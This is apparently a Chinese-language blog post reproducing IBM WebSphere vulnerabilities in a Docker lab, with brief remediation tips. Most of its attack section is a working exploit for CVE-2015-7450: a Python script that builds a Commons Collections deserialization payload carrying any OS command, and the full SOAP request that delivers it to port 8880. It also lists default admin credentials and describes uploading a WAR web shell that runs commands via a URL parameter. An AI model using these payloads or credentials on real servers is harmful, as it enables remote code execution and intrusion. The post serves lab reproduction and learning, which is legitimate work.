写在前面：本文为漏洞复现系列WebSphere篇，复现的漏洞已vulhub中存在的环境为主。
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文章目录
- 简介
- WebSphere反序列化(CVE-2015-7450）
- 漏洞原理
- 影响范围
- 漏洞复现
- 修复建议
- 弱口令 && 后台Getshell
- 漏洞原理
- 影响范围
- 漏洞复现
- 修复建议
- CVE-2020-4450
- 总结
简介
WebSphere® Application Server 加速交付新应用程序和服务，它可以通过快速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰 富的编程模型中进行选择，以便更好地协调项目需求与编程模型功能和开发人员技能。
端口：
9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等。
指纹信息：
Server: WebSphere Application Server/7.0
WebSphere反序列化(CVE-2015-7450）
漏洞原理
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入，其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞，这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法，在最终类型检查之前执行Java函数或字节码（包括调用Runtime.exec()执行本地OS命令）。
影响范围
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.2
漏洞复现
环境通过docker搭建：
docker pull iscrosales/websphere7
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
漏洞探测：
该反序列化漏洞发生位置在SOAP的通信端口8880，使用https发送XML格式数据。如果访问8880端口出现如下界面，则可能存在Java反序列化漏洞：
访问8880，并抓包，然后替换如下Payload进行复现，注意更改下Host.
然后将构造的执行命令的payload通过base64编码后放在objectname节点中，通过https发送到服务器端，服务器端调用相应的执行函数，将结果发送给客户端，同样返回的数据也是经过base64编码的。
import base64
from binascii import unhexlifycommand = "执行的命令"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
serObj += (chr(len(command)) + command).encode('ascii')
serObj += unhexlify("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A")
serObjB64 = base64.b64encode(serObj).decode()
print(serObjB64)
然后将输出的serObjB64，替换到如下数据包中的params节点,发送数据包即可执行。
POST / HTTP/1.1
Host: 192.168.255.128:8880
User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml
SOAPAction: urn:AdminService
Content-Length: 8886<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
<params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params>
<signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
</ns1:invoke>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
回显参考DeserializeExploit.jar(laster)。
通过工具可以RCE。
修复建议
7.x版本已不提供支持，因此升级版本。
若版本还在IBM支持范围，可选择打补丁。
弱口令 && 后台Getshell
漏洞原理
1.在6.x至7.0版本，后台登陆只需要输入admin作为用户标识，无需密码，即可登陆后台。
2.websphere/ websphere
3.system/ manager
影响范围
全版本后台登录账号弱口令
漏洞复现
1.点击WebSphere 企业应用程序，点击安装。
2.上传war包，点击下一步。
3.一直点击下一步，直到下图，填写上下文根，关系到你访问的URL，接着一直点下一步直到安装完成。
4.安装完成之后，点击保存主配置，然后回到WebSphere 企业应用程序，选中war包启动，访问shell。
访问http://192.168.255.128:9080/2/1.jsp?pwd=123&i=id
修复建议
密码强度需设置 包含 大写字母，小写字母，数字，特殊字符，且长度大于10位。
CVE-2020-4450
WebSphere CVE-2020-4450 反序列化远程代码执行漏洞深度分析
总结
WebSphere存在的漏洞有很多，这里总结主要是对一些常见的漏洞复现和分析（主要是vulhub上的环境）当然了目前网上都有很多自动化的检测和利用工具，这里手动验证是为了加深印象；漏洞的原理很多都是参考大佬们的文章，个人其实还是有很多不是很理解（菜狗）这里对大佬们表示衷心的感谢。后续继续补充其他漏洞复现。
